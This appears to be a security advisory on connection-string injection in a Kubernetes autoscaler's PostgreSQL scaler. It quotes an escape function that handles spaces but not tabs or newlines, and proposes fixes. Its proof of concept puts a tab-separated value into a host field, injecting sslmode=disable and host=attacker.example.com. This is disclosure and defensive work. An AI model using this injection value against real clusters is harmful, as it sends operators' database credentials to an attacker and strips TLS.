Summary
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.
Impact
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
- Force
sslmode=disableon a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (
host=...) to steal the credentials the operator supplies via thepassword=keyword. - Append arbitrary libpq runtime parameters (
options=,application_name=,target_session_attrs=) to pivot behavior.
Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.
Proof of concept
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.
Suggested fix
- Escape / reject any ASCII whitespace (
\t,\n,\r,\f,\v, space) and backslash. - Prefer the URI form (
postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.
Resources
pkg/scalers/postgresql_scaler.go- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING